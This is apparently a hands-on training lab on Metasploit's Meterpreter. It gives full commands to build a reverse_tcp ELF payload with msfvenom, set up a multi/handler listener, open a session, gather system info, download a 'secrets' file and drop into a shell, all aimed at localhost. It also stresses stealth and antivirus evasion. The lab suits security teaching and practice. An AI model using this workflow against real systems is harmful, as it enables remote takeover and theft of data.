Introduction
Welcome to the Introduction to Meterpreter lab.
Meterpreter is an advanced, dynamically extensible payload that is part of the Metasploit Framework. Unlike a basic command shell that simply forwards standard input and output to a system shell (like /bin/bash), Meterpreter provides a rich, interactive command environment. It operates entirely in memory, meaning it writes nothing to the target's hard drive, making it highly stealthy and difficult for traditional antivirus software to detect.
What makes Meterpreter important is that it turns a shell into a session platform. Instead of only sending text commands to the operating system, you gain built-in capabilities for information gathering, file interaction, routing, and post-exploitation workflows.
In this lab, you will learn the end-to-end process of generating a Meterpreter payload, setting up a listener to catch the incoming connection, and interacting with the compromised system. You will explore built-in commands to gather system information, navigate the file system without relying on native OS binaries, and drop into a native system shell when necessary.
Deploy Meterpreter Payload
In this step, you will generate a Meterpreter payload and set up a listener to establish a connection. We will use msfvenom, a standalone payload generator provided by the Metasploit Framework, to create an executable file that contains our Meterpreter payload.
First, ensure you are in your default working directory. You will generate a Linux executable payload configured to connect back to your local machine (a "reverse shell"). Run the following command to create the payload named payload.elf:
This generation step is where payload parameters become operational reality. LHOST and LPORT are not abstract settings; they define exactly how the session will try to reach you.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o payload.elf
If this is your first time using Metasploit in the current lab environment, you may see an initial setup prompt before msfvenom generates the payload. When asked whether you want to set up a new database, answer yes and wait for the setup to finish. After that, msfvenom will continue and save payload.elf.
After generating the payload, you must make it executable so that the system can run it. Use the chmod command to add execute permissions:
chmod +x payload.elf
Next, you need to set up a listener to catch the connection when the payload is executed. We will create a resource script to automate the configuration of the Metasploit console (msfconsole). Create a file named listener.rc with the necessary configuration:
cat << EOF > listener.rc
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j
EOF
Now, start the Metasploit console using the resource script you just created. The -q flag starts it in quiet mode (without the startup banner), and -r tells it to run your script:
msfconsole -q -r listener.rc
You will see output indicating that the reverse TCP handler has started on 127.0.0.1:4444.
To execute the payload while keeping the listener running, you need to open a new terminal tab. In the LabEx interface, click the + icon above the terminal to open a new terminal window. In this new terminal, execute the payload:
./payload.elf
Switch back to your first terminal tab. You should see a message stating Meterpreter session 1 opened. Press Enter to get the msf6 > prompt, and then interact with the session by typing:
sessions -i 1
You will now see the meterpreter > prompt, indicating that you have successfully deployed and connected to the Meterpreter payload.
Retrieve System Information (sysinfo)
In this step, you will use Meterpreter's built-in commands to gather information about the compromised system. Because Meterpreter runs in memory and has its own set of commands, you do not need to rely on the target system's native Linux commands (like uname or whoami) to get this information.
That built-in command set is one reason Meterpreter sessions are so valuable. Many common operator tasks can be done without dropping immediately into a native shell.
Ensure you are at the meterpreter > prompt from the previous step. If you are not, make sure you have interacted with the session using sessions -i 1.
To retrieve basic system information, such as the computer name, operating system, architecture, and Meterpreter version, type the following command:
sysinfo
You will see an output similar to this:
Computer : 172.17.0.2
OS : Ubuntu 22.04 (Linux 5.15.0-105-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
Next, you can determine which user account the Meterpreter payload is currently running under. This is crucial for understanding your privilege level on the target system. Run the following command:
getuid
The output will display the server username, which in this environment should be labex:
Server username: labex
These commands demonstrate how Meterpreter allows you to quickly assess the environment you have compromised without triggering system-level logging that might monitor native command execution.
Navigate the Target File System
In this step, you will explore the target's file system using Meterpreter's built-in file management commands. These commands function similarly to standard Linux commands but are executed entirely within the Meterpreter session, adding an extra layer of stealth.
File-system interaction is a core post-exploitation activity because many objectives ultimately depend on finding, reading, or exfiltrating artifacts from the host.
From the meterpreter > prompt, you can check your current working directory using the pwd command:
pwd
You should see /home/labex/project as your current directory. To list the contents of this directory, use the ls command:
ls
You will notice a directory named target_data. Let's navigate into this directory using the cd command:
cd target_data
If ls does not show target_data, create the required folder and file manually in your regular terminal (not in the Meterpreter session), then continue:
mkdir -p /home/labex/project/target_data
echo "Confidential Data: Meterpreter is awesome" > /home/labex/project/target_data/secrets.txt
List the contents of the target_data directory to find the files inside:
ls
You should see a file named secrets.txt. You can read the contents of this file directly within Meterpreter using the cat command:
cat secrets.txt
The output will reveal the confidential data stored in the file. Often, during an assessment, you will want to exfiltrate (download) files to your local machine for further analysis. Meterpreter makes this easy with the download command.
Download the secrets.txt file and save it to your main project directory as downloaded_secrets.txt:
download secrets.txt /home/labex/project/downloaded_secrets.txt
You will see a confirmation message indicating that the file was successfully downloaded. This demonstrates how Meterpreter can seamlessly transfer files between the target and your local machine.
Execute System Commands (shell)
In this step, you will learn how to drop into a native system shell from your Meterpreter session. While Meterpreter provides many built-in commands, there are times when you need to interact directly with the target's operating system, run specific scripts, or use native binaries that Meterpreter does not support natively.
To open a standard system shell, type the following command at the meterpreter > prompt:
shell
You will notice that your prompt changes or disappears, indicating that you are now interacting directly with the /bin/sh or /bin/bash shell of the target system.
Now that you are in a native shell, you can execute standard Linux commands. Let's create a file to prove that we have system-level execution capabilities. Run the following command to create a file named hacked.txt in your project directory:
echo "hacked by meterpreter" > /home/labex/project/hacked.txt
You can verify that the file was created by reading it with the cat command:
cat /home/labex/project/hacked.txt
The output will display hacked by meterpreter.
Once you have finished executing native system commands, you can return to the stealthy Meterpreter session. To do this, simply type exit and press Enter:
exit
You will be returned to the meterpreter > prompt. This ability to seamlessly switch between a stealthy, memory-resident environment and a full system shell makes Meterpreter an incredibly versatile tool.
Summary
Congratulations! You have successfully completed the Introduction to Meterpreter lab.
In this lab, you learned how to generate a Meterpreter payload using msfvenom and set up a listener using msfconsole. You also learned how to retrieve critical system and user information using Meterpreter's built-in sysinfo and getuid commands. Furthermore, you practiced navigating the target's file system stealthily and exfiltrating data using the download command. Finally, you learned how to drop into a native system shell to execute OS-level commands and seamlessly return to the Meterpreter session.
These fundamental skills form the basis of post-exploitation activities, allowing you to maintain control, gather intelligence, and manipulate compromised systems effectively.
